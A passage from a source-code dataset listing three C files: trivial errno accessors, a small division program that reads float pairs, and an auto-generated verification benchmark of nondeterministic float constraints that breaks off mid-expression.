file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/61075741.c
/* Minimal support for Unix-style error codes */ extern int errno; extern int h_errno; int get_errno( void ) { return errno; } int get_h_errno( void ) { return h_errno; } /* eof */
the_stack_data/111078648.c
#include <stdio.h> int main(){ int x; float a, b; scanf(" %d", &x); while(x > 0){ scanf(" %f %f", &a, &b); if(b == 0){ printf("divisao impossivel\n"); }else{ printf("%.1f\n", a/b); } x--; } return 0; }
the_stack_data/88707.c
extern float __VERIFIER_nondet_float(void); extern int __VERIFIER_nondet_int(void); typedef enum {false, true} bool; bool __VERIFIER_nondet_bool(void) { return __VERIFIER_nondet_int() != 0; } int main() { bool _J3116, _x__J3116; bool _J3111, _x__J3111; float x_10, _x_x_10; bool _J3102, _x__J3102; bool _EL_U_3083, _x__EL_U_3083; float x_13, _x_x_13; float x_9, _x_x_9; float x_17, _x_x_17; float x_1, _x_x_1; bool _EL_U_3084, _x__EL_U_3084; float x_26, _x_x_26; float x_22, _x_x_22; float x_2, _x_x_2; bool _EL_U_3085, _x__EL_U_3085; float x_3, _x_x_3; float x_0, _x_x_0; float x_7, _x_x_7; float x_5, _x_x_5; float x_12, _x_x_12; float x_6, _x_x_6; float x_16, _x_x_16; float x_8, _x_x_8; float x_11, _x_x_11; float x_20, _x_x_20; float x_14, _x_x_14; float x_23, _x_x_23; float x_15, _x_x_15; float x_31, _x_x_31; float x_28, _x_x_28; float x_18, _x_x_18; float x_4, _x_x_4; float x_19, _x_x_19; float x_24, _x_x_24; float x_25, _x_x_25; float x_27, _x_x_27; float x_29, _x_x_29; float x_30, _x_x_30; float x_21, _x_x_21; int __steps_to_fair = __VERIFIER_nondet_int(); _J3116 = __VERIFIER_nondet_bool(); _J3111 = __VERIFIER_nondet_bool(); x_10 = __VERIFIER_nondet_float(); _J3102 = __VERIFIER_nondet_bool(); _EL_U_3083 = __VERIFIER_nondet_bool(); x_13 = __VERIFIER_nondet_float(); x_9 = __VERIFIER_nondet_float(); x_17 = __VERIFIER_nondet_float(); x_1 = __VERIFIER_nondet_float(); _EL_U_3084 = __VERIFIER_nondet_bool(); x_26 = __VERIFIER_nondet_float(); x_22 = __VERIFIER_nondet_float(); x_2 = __VERIFIER_nondet_float(); _EL_U_3085 = __VERIFIER_nondet_bool(); x_3 = __VERIFIER_nondet_float(); x_0 = __VERIFIER_nondet_float(); x_7 = __VERIFIER_nondet_float(); x_5 = __VERIFIER_nondet_float(); x_12 = __VERIFIER_nondet_float(); x_6 = __VERIFIER_nondet_float(); x_16 = __VERIFIER_nondet_float(); x_8 = __VERIFIER_nondet_float(); x_11 = __VERIFIER_nondet_float(); x_20 = __VERIFIER_nondet_float(); x_14 = __VERIFIER_nondet_float(); x_23 = __VERIFIER_nondet_float(); x_15 = __VERIFIER_nondet_float(); x_31 = __VERIFIER_nondet_float(); x_28 = __VERIFIER_nondet_float(); x_18 = __VERIFIER_nondet_float(); x_4 = __VERIFIER_nondet_float(); x_19 = __VERIFIER_nondet_float(); x_24 = __VERIFIER_nondet_float(); x_25 = __VERIFIER_nondet_float(); x_27 = __VERIFIER_nondet_float(); x_29 = __VERIFIER_nondet_float(); x_30 = __VERIFIER_nondet_float(); x_21 = __VERIFIER_nondet_float(); bool __ok = (1 && (((( !(_EL_U_3085 || (((x_22 + (-1.0 * x_26)) <= -15.0) || (_EL_U_3084 && (((x_1 + (-1.0 * x_9)) <= -11.0) || _EL_U_3083))))) && ( !_J3102)) && ( !_J3111)) && ( !_J3116))); while (__steps_to_fair >= 0 && __ok) { if (((_J3102 && _J3111) && _J3116)) { __steps_to_fair = __VERIFIER_nondet_int(); } else { __steps_to_fair--; } _x__J3116 = __VERIFIER_nondet_bool(); _x__J3111 = __VERIFIER_nondet_bool(); _x_x_10 = __VERIFIER_nondet_float(); _x__J3102 = __VERIFIER_nondet_bool(); _x__EL_U_3083 = __VERIFIER_nondet_bool(); _x_x_13 = __VERIFIER_nondet_float(); _x_x_9 = __VERIFIER_nondet_float(); _x_x_17 = __VERIFIER_nondet_float(); _x_x_1 = __VERIFIER_nondet_float(); _x__EL_U_3084 = __VERIFIER_nondet_bool(); _x_x_26 = __VERIFIER_nondet_float(); _x_x_22 = __VERIFIER_nondet_float(); _x_x_2 = __VERIFIER_nondet_float(); _x__EL_U_3085 = __VERIFIER_nondet_bool(); _x_x_3 = __VERIFIER_nondet_float(); _x_x_0 = __VERIFIER_nondet_float(); _x_x_7 = __VERIFIER_nondet_float(); _x_x_5 = __VERIFIER_nondet_float(); _x_x_12 = __VERIFIER_nondet_float(); _x_x_6 = __VERIFIER_nondet_float(); _x_x_16 = __VERIFIER_nondet_float(); _x_x_8 = __VERIFIER_nondet_float(); _x_x_11 = __VERIFIER_nondet_float(); _x_x_20 = __VERIFIER_nondet_float(); _x_x_14 = __VERIFIER_nondet_float(); _x_x_23 = __VERIFIER_nondet_float(); _x_x_15 = __VERIFIER_nondet_float(); _x_x_31 = __VERIFIER_nondet_float(); _x_x_28 = __VERIFIER_nondet_float(); _x_x_18 = __VERIFIER_nondet_float(); _x_x_4 = __VERIFIER_nondet_float(); _x_x_19 = __VERIFIER_nondet_float(); _x_x_24 = __VERIFIER_nondet_float(); _x_x_25 = __VERIFIER_nondet_float(); _x_x_27 = __VERIFIER_nondet_float(); _x_x_29 = __VERIFIER_nondet_float(); _x_x_30 = __VERIFIER_nondet_float(); _x_x_21 = __VERIFIER_nondet_float(); __ok = ((((((((((((((((((((((((((((((((((((x_30 + (-1.0 * _x_x_0)) <= -6.0) && (((x_29 + (-1.0 * _x_x_0)) <= -7.0) && (((x_28 + (-1.0 * _x_x_0)) <= -20.0) && (((x_26 + (-1.0 * _x_x_0)) <= -12.0) && (((x_22 + (-1.0 * _x_x_0)) <= -8.0) && (((x_21 + (-1.0 * _x_x_0)) <= -5.0) && (((x_20 + (-1.0 * _x_x_0)) <= -8.0) && (((x_18 + (-1.0 * _x_x_0)) <= -16.0) && (((x_17 + (-1.0 * _x_x_0)) <= -8.0) && (((x_14 + (-1.0 * _x_x_0)) <= -3.0) && (((x_13 + (-1.0 * _x_x_0)) <= -19.0) && (((x_10 + (-1.0 * _x_x_0)) <= -19.0) && (((x_6 + (-1.0 * _x_x_0)) <= -4.0) && (((x_4 + (-1.0 * _x_x_0)) <= -7.0) && (((x_0 + (-1.0 * _x_x_0)) <= -6.0) && ((x_2 + (-1.0 * _x_x_0)) <= -12.0)))))))))))))))) && (((x_30 + (-1.0 * _x_x_0)) == -6.0) || (((x_29 + (-1.0 * _x_x_0)) == -7.0) || (((x_28 + (-1.0 * _x_x_0)) == -20.0) || (((x_26 + (-1.0 * _x_x_0)) == -12.0) || (((x_22 + (-1.0 * _x_x_0)) == -8.0) || (((x_21 + (-1.0 * _x_x_0)) == -5.0) || (((x_20 + (-1.0 * _x_x_0)) == -8.0) || (((x_18 + (-1.0 * _x_x_0)) == -16.0) || (((x_17 + (-1.0 * _x_x_0)) == -8.0) || (((x_14 + (-1.0 * _x_x_0)) == -3.0) || (((x_13 + (-1.0 * _x_x_0)) == -19.0) || (((x_10 + (-1.0 * _x_x_0)) == -19.0) || (((x_6 + (-1.0 * _x_x_0)) == -4.0) || (((x_4 + (-1.0 * _x_x_0)) == -7.0) || (((x_0 + (-1.0 * _x_x_0)) == -6.0) || ((x_2 + (-1.0 * _x_x_0)) == -12.0))))))))))))))))) && ((((x_29 + (-1.0 * _x_x_1)) <= -19.0) && (((x_28 + (-1.0 * _x_x_1)) <= -13.0) && (((x_27 + (-1.0 * _x_x_1)) <= -1.0) && (((x_26 + (-1.0 * _x_x_1)) <= -12.0) && (((x_24 + (-1.0 * _x_x_1)) <= -19.0) && (((x_17 + (-1.0 * _x_x_1)) <= -7.0) && (((x_15 + (-1.0 * _x_x_1)) <= -1.0) && (((x_13 + (-1.0 * _x_x_1)) <= -4.0) && (((x_12 + (-1.0 * _x_x_1)) <= -13.0) && (((x_11 + (-1.0 * _x_x_1)) <= -20.0) && (((x_10 + (-1.0 * _x_x_1)) <= -7.0) && (((x_8 + (-1.0 * _x_x_1)) <= -9.0) && (((x_7 + (-1.0 * _x_x_1)) <= -5.0) && (((x_4 + (-1.0 * _x_x_1)) <= -18.0) && (((x_0 + (-1.0 * _x_x_1)) <= -14.0) && ((x_1 + (-1.0 * _x_x_1)) <= -5.0)))))))))))))))) && (((x_29 + (-1.0 * _x_x_1)) == -19.0) || (((x_28 + (-1.0 * _x_x_1)) == -13.0) || (((x_27 + (-1.0 * _x_x_1)) == -1.0) || (((x_26 + (-1.0 * _x_x_1)) == -12.0) || (((x_24 + (-1.0 * _x_x_1)) == -19.0) || (((x_17 + (-1.0 * _x_x_1)) == -7.0) || (((x_15 + (-1.0 * _x_x_1)) == -1.0) || (((x_13 + (-1.0 * _x_x_1)) == -4.0) || (((x_12 + (-1.0 * _x_x_1)) == -13.0) || (((x_11 + (-1.0 * _x_x_1)) == -20.0) || (((x_10 + (-1.0 * _x_x_1)) == -7.0) || (((x_8 + (-1.0 * _x_x_1)) == -9.0) || (((x_7 + (-1.0 * _x_x_1)) == -5.0) || (((x_4 + (-1.0 * _x_x_1)) == -18.0) || (((x_0 + (-1.0 * _x_x_1)) == -14.0) || ((x_1 + (-1.0 * _x_x_1)) == -5.0)))))))))))))))))) && ((((x_30 + (-1.0 * _x_x_2)) <= -15.0) && (((x_27 + (-1.0 * _x_x_2)) <= -7.0) && (((x_25 + (-1.0 * _x_x_2)) <= -8.0) && (((x_24 + (-1.0 * _x_x_2)) <= -6.0) && (((x_21 + (-1.0 * _x_x_2)) <= -20.0) && (((x_18 + (-1.0 * _x_x_2)) <= -20.0) && (((x_17 + (-1.0 * _x_x_2)) <= -8.0) && (((x_13 + (-1.0 * _x_x_2)) <= -16.0) && (((x_12 + (-1.0 * _x_x_2)) <= -13.0) && (((x_11 + (-1.0 * _x_x_2)) <= -11.0) && (((x_7 + (-1.0 * _x_x_2)) <= -4.0) && (((x_5 + (-1.0 * _x_x_2)) <= -8.0) && (((x_4 + (-1.0 * _x_x_2)) <= -15.0) && (((x_3 + (-1.0 * _x_x_2)) <= -3.0) && (((x_0 + (-1.0 * _x_x_2)) <= -1.0) && ((x_1 + (-1.0 * _x_x_2)) <= -1.0)))))))))))))))) && (((x_30 + (-1.0 * _x_x_2)) == -15.0) || (((x_27 + (-1.0 * _x_x_2)) == -7.0) || (((x_25 + (-1.0 * _x_x_2)) == -8.0) || (((x_24 + (-1.0 * _x_x_2)) == -6.0) || (((x_21 + (-1.0 * _x_x_2)) == -20.0) || (((x_18 + (-1.0 * _x_x_2)) == -20.0) || (((x_17 + (-1.0 * _x_x_2)) == -8.0) || (((x_13 + (-1.0 * _x_x_2)) == -16.0) || (((x_12 + (-1.0 * _x_x_2)) == -13.0) || (((x_11 + (-1.0 * _x_x_2)) == -11.0) || (((x_7 + (-1.0 * _x_x_2)) == -4.0) || (((x_5 + (-1.0 * _x_x_2)) == -8.0) || (((x_4 + (-1.0 * _x_x_2)) == -15.0) || (((x_3 + (-1.0 * _x_x_2)) == -3.0) || (((x_0 + (-1.0 * _x_x_2)) == -1.0) || ((x_1 + (-1.0 * _x_x_2)) == -1.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_3)) <= -16.0) && (((x_30 + (-1.0 * _x_x_3)) <= -5.0) && (((x_29 + (-1.0 * _x_x_3)) <= -4.0) && (((x_28 + (-1.0 * _x_x_3)) <= -14.0) && (((x_24 + (-1.0 * _x_x_3)) <= -1.0) && (((x_23 + (-1.0 * _x_x_3)) <= -11.0) && (((x_22 + (-1.0 * _x_x_3)) <= -13.0) && (((x_21 + (-1.0 * _x_x_3)) <= -12.0) && (((x_20 + (-1.0 * _x_x_3)) <= -10.0) && (((x_19 + (-1.0 * _x_x_3)) <= -13.0) && (((x_17 + (-1.0 * _x_x_3)) <= -4.0) && (((x_13 + (-1.0 * _x_x_3)) <= -18.0) && (((x_9 + (-1.0 * _x_x_3)) <= -19.0) && (((x_7 + (-1.0 * _x_x_3)) <= -6.0) && (((x_1 + (-1.0 * _x_x_3)) <= -18.0) && ((x_6 + (-1.0 * _x_x_3)) <= -11.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_3)) == -16.0) || (((x_30 + (-1.0 * _x_x_3)) == -5.0) || (((x_29 + (-1.0 * _x_x_3)) == -4.0) || (((x_28 + (-1.0 * _x_x_3)) == -14.0) || (((x_24 + (-1.0 * _x_x_3)) == -1.0) || (((x_23 + (-1.0 * _x_x_3)) == -11.0) || (((x_22 + (-1.0 * _x_x_3)) == -13.0) || (((x_21 + (-1.0 * _x_x_3)) == -12.0) || (((x_20 + (-1.0 * _x_x_3)) == -10.0) || (((x_19 + (-1.0 * _x_x_3)) == -13.0) || (((x_17 + (-1.0 * _x_x_3)) == -4.0) || (((x_13 + (-1.0 * _x_x_3)) == -18.0) || (((x_9 + (-1.0 * _x_x_3)) == -19.0) || (((x_7 + (-1.0 * _x_x_3)) == -6.0) || (((x_1 + (-1.0 * _x_x_3)) == -18.0) || ((x_6 + (-1.0 * _x_x_3)) == -11.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_4)) <= -9.0) && (((x_24 + (-1.0 * _x_x_4)) <= -15.0) && (((x_23 + (-1.0 * _x_x_4)) <= -20.0) && (((x_22 + (-1.0 * _x_x_4)) <= -12.0) && (((x_19 + (-1.0 * _x_x_4)) <= -12.0) && (((x_18 + (-1.0 * _x_x_4)) <= -14.0) && (((x_15 + (-1.0 * _x_x_4)) <= -4.0) && (((x_14 + (-1.0 * _x_x_4)) <= -20.0) && (((x_13 + (-1.0 * _x_x_4)) <= -2.0) && (((x_12 + (-1.0 * _x_x_4)) <= -17.0) && (((x_10 + (-1.0 * _x_x_4)) <= -20.0) && (((x_9 + (-1.0 * _x_x_4)) <= -11.0) && (((x_7 + (-1.0 * _x_x_4)) <= -18.0) && (((x_4 + (-1.0 * _x_x_4)) <= -16.0) && (((x_0 + (-1.0 * _x_x_4)) <= -9.0) && ((x_3 + (-1.0 * _x_x_4)) <= -3.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_4)) == -9.0) || (((x_24 + (-1.0 * _x_x_4)) == -15.0) || (((x_23 + (-1.0 * _x_x_4)) == -20.0) || (((x_22 + (-1.0 * _x_x_4)) == -12.0) || (((x_19 + (-1.0 * _x_x_4)) == -12.0) || (((x_18 + (-1.0 * _x_x_4)) == -14.0) || (((x_15 + (-1.0 * _x_x_4)) == -4.0) || (((x_14 + (-1.0 * _x_x_4)) == -20.0) || (((x_13 + (-1.0 * _x_x_4)) == -2.0) || (((x_12 + (-1.0 * _x_x_4)) == -17.0) || (((x_10 + (-1.0 * _x_x_4)) == -20.0) || (((x_9 + (-1.0 * _x_x_4)) == -11.0) || (((x_7 + (-1.0 * _x_x_4)) == -18.0) || (((x_4 + (-1.0 * _x_x_4)) == -16.0) || (((x_0 + (-1.0 * _x_x_4)) == -9.0) || ((x_3 + (-1.0 * _x_x_4)) == -3.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_5)) <= -9.0) && (((x_30 + (-1.0 * _x_x_5)) <= -9.0) && (((x_29 + (-1.0 * _x_x_5)) <= -18.0) && (((x_26 + (-1.0 * _x_x_5)) <= -18.0) && (((x_25 + (-1.0 * _x_x_5)) <= -2.0) && (((x_23 + (-1.0 * _x_x_5)) <= -11.0) && (((x_20 + (-1.0 * _x_x_5)) <= -11.0) && (((x_18 + (-1.0 * _x_x_5)) <= -18.0) && (((x_16 + (-1.0 * _x_x_5)) <= -9.0) && (((x_15 + (-1.0 * _x_x_5)) <= -13.0) && (((x_11 + (-1.0 * _x_x_5)) <= -20.0) && (((x_9 + (-1.0 * _x_x_5)) <= -15.0) && (((x_7 + (-1.0 * _x_x_5)) <= -10.0) && (((x_4 + (-1.0 * _x_x_5)) <= -7.0) && (((x_0 + (-1.0 * _x_x_5)) <= -19.0) && ((x_1 + (-1.0 * _x_x_5)) <= -14.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_5)) == -9.0) || (((x_30 + (-1.0 * _x_x_5)) == -9.0) || (((x_29 + (-1.0 * _x_x_5)) == -18.0) || (((x_26 + (-1.0 * _x_x_5)) == -18.0) || (((x_25 + (-1.0 * _x_x_5)) == -2.0) || (((x_23 + (-1.0 * _x_x_5)) == -11.0) || (((x_20 + (-1.0 * _x_x_5)) == -11.0) || (((x_18 + (-1.0 * _x_x_5)) == -18.0) || (((x_16 + (-1.0 * _x_x_5)) == -9.0) || (((x_15 + (-1.0 * _x_x_5)) == -13.0) || (((x_11 + (-1.0 * _x_x_5)) == -20.0) || (((x_9 + (-1.0 * _x_x_5)) == -15.0) || (((x_7 + (-1.0 * _x_x_5)) == -10.0) || (((x_4 + (-1.0 * _x_x_5)) == -7.0) || (((x_0 + (-1.0 * _x_x_5)) == -19.0) || ((x_1 + (-1.0 * _x_x_5)) == -14.0)))))))))))))))))) && ((((x_29 + (-1.0 * _x_x_6)) <= -12.0) && (((x_28 + (-1.0 * _x_x_6)) <= -14.0) && (((x_27 + (-1.0 * _x_x_6)) <= -9.0) && (((x_26 + (-1.0 * _x_x_6)) <= -17.0) && (((x_24 + (-1.0 * _x_x_6)) <= -10.0) && (((x_21 + (-1.0 * _x_x_6)) <= -17.0) && (((x_19 + (-1.0 * _x_x_6)) <= -10.0) && (((x_18 + (-1.0 * _x_x_6)) <= -8.0) && (((x_16 + (-1.0 * _x_x_6)) <= -8.0) && (((x_14 + (-1.0 * _x_x_6)) <= -14.0) && (((x_13 + (-1.0 * _x_x_6)) <= -15.0) && (((x_12 + (-1.0 * _x_x_6)) <= -14.0) && (((x_9 + (-1.0 * _x_x_6)) <= -2.0) && (((x_6 + (-1.0 * _x_x_6)) <= -7.0) && (((x_0 + (-1.0 * _x_x_6)) <= -18.0) && ((x_2 + (-1.0 * _x_x_6)) <= -15.0)))))))))))))))) && (((x_29 + (-1.0 * _x_x_6)) == -12.0) || (((x_28 + (-1.0 * _x_x_6)) == -14.0) || (((x_27 + (-1.0 * _x_x_6)) == -9.0) || (((x_26 + (-1.0 * _x_x_6)) == -17.0) || (((x_24 + (-1.0 * _x_x_6)) == -10.0) || (((x_21 + (-1.0 * _x_x_6)) == -17.0) || (((x_19 + (-1.0 * _x_x_6)) == -10.0) || (((x_18 + (-1.0 * _x_x_6)) == -8.0) || (((x_16 + (-1.0 * _x_x_6)) == -8.0) || (((x_14 + (-1.0 * _x_x_6)) == -14.0) || (((x_13 + (-1.0 * _x_x_6)) == -15.0) || (((x_12 + (-1.0 * _x_x_6)) == -14.0) || (((x_9 + (-1.0 * _x_x_6)) == -2.0) || (((x_6 + (-1.0 * _x_x_6)) == -7.0) || (((x_0 + (-1.0 * _x_x_6)) == -18.0) || ((x_2 + (-1.0 * _x_x_6)) == -15.0)))))))))))))))))) && ((((x_29 + (-1.0 * _x_x_7)) <= -2.0) && (((x_26 + (-1.0 * _x_x_7)) <= -7.0) && (((x_22 + (-1.0 * _x_x_7)) <= -12.0) && (((x_21 + (-1.0 * _x_x_7)) <= -9.0) && (((x_19 + (-1.0 * _x_x_7)) <= -11.0) && (((x_18 + (-1.0 * _x_x_7)) <= -12.0) && (((x_17 + (-1.0 * _x_x_7)) <= -20.0) && (((x_16 + (-1.0 * _x_x_7)) <= -3.0) && (((x_11 + (-1.0 * _x_x_7)) <= -13.0) && (((x_10 + (-1.0 * _x_x_7)) <= -10.0) && (((x_7 + (-1.0 * _x_x_7)) <= -7.0) && (((x_5 + (-1.0 * _x_x_7)) <= -17.0) && (((x_3 + (-1.0 * _x_x_7)) <= -2.0) && (((x_2 + (-1.0 * _x_x_7)) <= -1.0) && (((x_0 + (-1.0 * _x_x_7)) <= -14.0) && ((x_1 + (-1.0 * _x_x_7)) <= -10.0)))))))))))))))) && (((x_29 + (-1.0 * _x_x_7)) == -2.0) || (((x_26 + (-1.0 * _x_x_7)) == -7.0) || (((x_22 + (-1.0 * _x_x_7)) == -12.0) || (((x_21 + (-1.0 * _x_x_7)) == -9.0) || (((x_19 + (-1.0 * _x_x_7)) == -11.0) || (((x_18 + (-1.0 * _x_x_7)) == -12.0) || (((x_17 + (-1.0 * _x_x_7)) == -20.0) || (((x_16 + (-1.0 * _x_x_7)) == -3.0) || (((x_11 + (-1.0 * _x_x_7)) == -13.0) || (((x_10 + (-1.0 * _x_x_7)) == -10.0) || (((x_7 + (-1.0 * _x_x_7)) == -7.0) || (((x_5 + (-1.0 * _x_x_7)) == -17.0) || (((x_3 + (-1.0 * _x_x_7)) == -2.0) || (((x_2 + (-1.0 * _x_x_7)) == -1.0) || (((x_0 + (-1.0 * _x_x_7)) == -14.0) || ((x_1 + (-1.0 * _x_x_7)) == -10.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_8)) <= -15.0) && (((x_30 + (-1.0 * _x_x_8)) <= -10.0) && (((x_28 + (-1.0 * _x_x_8)) <= -13.0) && (((x_25 + (-1.0 * _x_x_8)) <= -18.0) && (((x_22 + (-1.0 * _x_x_8)) <= -5.0) && (((x_21 + (-1.0 * _x_x_8)) <= -17.0) && (((x_20 + (-1.0 * _x_x_8)) <= -13.0) && (((x_19 + (-1.0 * _x_x_8)) <= -9.0) && (((x_18 + (-1.0 * _x_x_8)) <= -6.0) && (((x_13 + (-1.0 * _x_x_8)) <= -8.0) && (((x_11 + (-1.0 * _x_x_8)) <= -18.0) && (((x_9 + (-1.0 * _x_x_8)) <= -1.0) && (((x_4 + (-1.0 * _x_x_8)) <= -11.0) && (((x_3 + (-1.0 * _x_x_8)) <= -2.0) && (((x_1 + (-1.0 * _x_x_8)) <= -5.0) && ((x_2 + (-1.0 * _x_x_8)) <= -15.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_8)) == -15.0) || (((x_30 + (-1.0 * _x_x_8)) == -10.0) || (((x_28 + (-1.0 * _x_x_8)) == -13.0) || (((x_25 + (-1.0 * _x_x_8)) == -18.0) || (((x_22 + (-1.0 * _x_x_8)) == -5.0) || (((x_21 + (-1.0 * _x_x_8)) == -17.0) || (((x_20 + (-1.0 * _x_x_8)) == -13.0) || (((x_19 + (-1.0 * _x_x_8)) == -9.0) || (((x_18 + (-1.0 * _x_x_8)) == -6.0) || (((x_13 + (-1.0 * _x_x_8)) == -8.0) || (((x_11 + (-1.0 * _x_x_8)) == -18.0) || (((x_9 + (-1.0 * _x_x_8)) == -1.0) || (((x_4 + (-1.0 * _x_x_8)) == -11.0) || (((x_3 + (-1.0 * _x_x_8)) == -2.0) || (((x_1 + (-1.0 * _x_x_8)) == -5.0) || ((x_2 + (-1.0 * _x_x_8)) == -15.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_9)) <= -13.0) && (((x_30 + (-1.0 * _x_x_9)) <= -11.0) && (((x_23 + (-1.0 * _x_x_9)) <= -20.0) && (((x_22 + (-1.0 * _x_x_9)) <= -11.0) && (((x_21 + (-1.0 * _x_x_9)) <= -16.0) && (((x_20 + (-1.0 * _x_x_9)) <= -20.0) && (((x_19 + (-1.0 * _x_x_9)) <= -14.0) && (((x_17 + (-1.0 * _x_x_9)) <= -11.0) && (((x_14 + (-1.0 * _x_x_9)) <= -4.0) && (((x_11 + (-1.0 * _x_x_9)) <= -7.0) && (((x_10 + (-1.0 * _x_x_9)) <= -14.0) && (((x_9 + (-1.0 * _x_x_9)) <= -6.0) && (((x_5 + (-1.0 * _x_x_9)) <= -13.0) && (((x_3 + (-1.0 * _x_x_9)) <= -6.0) && (((x_0 + (-1.0 * _x_x_9)) <= -7.0) && ((x_1 + (-1.0 * _x_x_9)) <= -7.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_9)) == -13.0) || (((x_30 + (-1.0 * _x_x_9)) == -11.0) || (((x_23 + (-1.0 * _x_x_9)) == -20.0) || (((x_22 + (-1.0 * _x_x_9)) == -11.0) || (((x_21 + (-1.0 * _x_x_9)) == -16.0) || (((x_20 + (-1.0 * _x_x_9)) == -20.0) || (((x_19 + (-1.0 * _x_x_9)) == -14.0) || (((x_17 + (-1.0 * _x_x_9)) == -11.0) || (((x_14 + (-1.0 * _x_x_9)) == -4.0) || (((x_11 + (-1.0 * _x_x_9)) == -7.0) || (((x_10 + (-1.0 * _x_x_9)) == -14.0) || (((x_9 + (-1.0 * _x_x_9)) == -6.0) || (((x_5 + (-1.0 * _x_x_9)) == -13.0) || (((x_3 + (-1.0 * _x_x_9)) == -6.0) || (((x_0 + (-1.0 * _x_x_9)) == -7.0) || ((x_1 + (-1.0 * _x_x_9)) == -7.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_10)) <= -3.0) && (((x_30 + (-1.0 * _x_x_10)) <= -8.0) && (((x_27 + (-1.0 * _x_x_10)) <= -11.0) && (((x_25 + (-1.0 * _x_x_10)) <= -8.0) && (((x_24 + (-1.0 * _x_x_10)) <= -18.0) && (((x_23 + (-1.0 * _x_x_10)) <= -2.0) && (((x_19 + (-1.0 * _x_x_10)) <= -15.0) && (((x_17 + (-1.0 * _x_x_10)) <= -4.0) && (((x_16 + (-1.0 * _x_x_10)) <= -1.0) && (((x_12 + (-1.0 * _x_x_10)) <= -3.0) && (((x_9 + (-1.0 * _x_x_10)) <= -13.0) && (((x_6 + (-1.0 * _x_x_10)) <= -11.0) && (((x_5 + (-1.0 * _x_x_10)) <= -13.0) && (((x_4 + (-1.0 * _x_x_10)) <= -18.0) && (((x_0 + (-1.0 * _x_x_10)) <= -2.0) && ((x_2 + (-1.0 * _x_x_10)) <= -4.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_10)) == -3.0) || (((x_30 + (-1.0 * _x_x_10)) == -8.0) || (((x_27 + (-1.0 * _x_x_10)) == -11.0) || (((x_25 + (-1.0 * _x_x_10)) == -8.0) || (((x_24 + (-1.0 * _x_x_10)) == -18.0) || (((x_23 + (-1.0 * _x_x_10)) == -2.0) || (((x_19 + (-1.0 * _x_x_10)) == -15.0) || (((x_17 + (-1.0 * _x_x_10)) == -4.0) || (((x_16 + (-1.0 * _x_x_10)) == -1.0) || (((x_12 + (-1.0 * _x_x_10)) == -3.0) || (((x_9 + (-1.0 * _x_x_10)) == -13.0) || (((x_6 + (-1.0 * _x_x_10)) == -11.0) || (((x_5 + (-1.0 * _x_x_10)) == -13.0) || (((x_4 + (-1.0 * _x_x_10)) == -18.0) || (((x_0 + (-1.0 * _x_x_10)) == -2.0) || ((x_2 + (-1.0 * _x_x_10)) == -4.0)))))))))))))))))) && ((((x_30 + (-1.0 * _x_x_11)) <= -1.0) && (((x_28 + (-1.0 * _x_x_11)) <= -16.0) && (((x_25 + (-1.0 * _x_x_11)) <= -2.0) && (((x_24 + (-1.0 * _x_x_11)) <= -17.0) && (((x_21 + (-1.0 * _x_x_11)) <= -12.0) && (((x_20 + (-1.0 * _x_x_11)) <= -18.0) && (((x_18 + (-1.0 * _x_x_11)) <= -10.0) && (((x_15 + (-1.0 * _x_x_11)) <= -6.0) && (((x_12 + (-1.0 * _x_x_11)) <= -14.0) && (((x_11 + (-1.0 * _x_x_11)) <= -18.0) && (((x_10 + (-1.0 * _x_x_11)) <= -17.0) && (((x_9 + (-1.0 * _x_x_11)) <= -4.0) && (((x_5 + (-1.0 * _x_x_11)) <= -15.0) && (((x_4 + (-1.0 * _x_x_11)) <= -13.0) && (((x_0 + (-1.0 * _x_x_11)) <= -17.0) && ((x_1 + (-1.0 * _x_x_11)) <= -20.0)))))))))))))))) && (((x_30 + (-1.0 * _x_x_11)) == -1.0) || (((x_28 + (-1.0 * _x_x_11)) == -16.0) || (((x_25 + (-1.0 * _x_x_11)) == -2.0) || (((x_24 + (-1.0 * _x_x_11)) == -17.0) || (((x_21 + (-1.0 * _x_x_11)) == -12.0) || (((x_20 + (-1.0 * _x_x_11)) == -18.0) || (((x_18 + (-1.0 * _x_x_11)) == -10.0) || (((x_15 + (-1.0 * _x_x_11)) == -6.0) || (((x_12 + (-1.0 * _x_x_11)) == -14.0) || (((x_11 + (-1.0 * _x_x_11)) == -18.0) || (((x_10 + (-1.0 * _x_x_11)) == -17.0) || (((x_9 + (-1.0 * _x_x_11)) == -4.0) || (((x_5 + (-1.0 * _x_x_11)) == -15.0) || (((x_4 + (-1.0 * _x_x_11)) == -13.0) || (((x_0 + (-1.0 * _x_x_11)) == -17.0) || ((x_1 + (-1.0 * _x_x_11)) == -20.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_12)) <= -7.0) && (((x_30 + (-1.0 * _x_x_12)) <= -11.0) && (((x_29 + (-1.0 * _x_x_12)) <= -16.0) && (((x_28 + (-1.0 * _x_x_12)) <= -18.0) && (((x_24 + (-1.0 * _x_x_12)) <= -5.0) && (((x_21 + (-1.0 * _x_x_12)) <= -6.0) && (((x_18 + (-1.0 * _x_x_12)) <= -11.0) && (((x_17 + (-1.0 * _x_x_12)) <= -17.0) && (((x_16 + (-1.0 * _x_x_12)) <= -10.0) && (((x_15 + (-1.0 * _x_x_12)) <= -11.0) && (((x_12 + (-1.0 * _x_x_12)) <= -10.0) && (((x_9 + (-1.0 * _x_x_12)) <= -2.0) && (((x_6 + (-1.0 * _x_x_12)) <= -7.0) && (((x_4 + (-1.0 * _x_x_12)) <= -6.0) && (((x_1 + (-1.0 * _x_x_12)) <= -4.0) && ((x_2 + (-1.0 * _x_x_12)) <= -6.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_12)) == -7.0) || (((x_30 + (-1.0 * _x_x_12)) == -11.0) || (((x_29 + (-1.0 * _x_x_12)) == -16.0) || (((x_28 + (-1.0 * _x_x_12)) == -18.0) || (((x_24 + (-1.0 * _x_x_12)) == -5.0) || (((x_21 + (-1.0 * _x_x_12)) == -6.0) || (((x_18 + (-1.0 * _x_x_12)) == -11.0) 